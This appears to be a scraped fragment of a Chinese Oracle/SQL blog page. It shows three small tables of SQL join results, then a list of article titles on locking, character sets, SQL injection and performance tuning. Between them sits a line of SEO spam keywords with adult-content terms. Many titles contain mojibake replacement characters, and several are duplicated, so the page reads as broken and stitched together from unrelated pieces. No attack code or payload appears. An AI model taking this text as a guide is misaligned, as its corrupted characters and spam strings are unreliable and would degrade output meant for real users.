5	B	20	6	D	21
2	A	30	3	C	31
3	C	40	1	B	41

ID	TF1	VALUE1	ID	TF2	VALUE2
1	TFI1-1	10	1	TFI2-4	41
3	TFI1-4	40	3	TFI2-3	31
5	TFI1-2	20	5	TFI2-1	11

ID	TF1	VALUE1	ID	TF2	VALUE2
NULL	NULL	NULL	6	TFI2-2	21
1	TFI1-1	10	1	TFI2-4	41
3	TFI1-4	40	3	TFI2-3	31
5	TFI1-2	20	5	TFI2-1	11

99国产精品久久久久久久成人热,亚洲午夜精品久久久久久性色,中文字幕亚洲综合久久菠萝蜜

oracle分析函数

Oracle悲观���锁和乐观封锁在比较

Oracle SQL�_�֦�SQL语句讲解

ORACLE 字符集问�?

Oracle 数据导入�Ҏ��比较

SQL Server 日期格式转换(Convert用法)DBCC命��o详解

���详�l�SQL注入�Ҏ��

Oracle 常用技巧和脚本 选择�?yanlixin4csdn �?Blog

ORACLE 杂谈

常用SQL资料

ORACLE SQL性能优化�p�d��

ORACLE学习�W�记 视图

Oracle悲观��锁和乐观封锁在比较

��详�l�SQL注入�Ҏ��

Oracle 常用技巧和脚本选择�?yanlixin4csdn �?Blog

ORACLE学习�W�记视图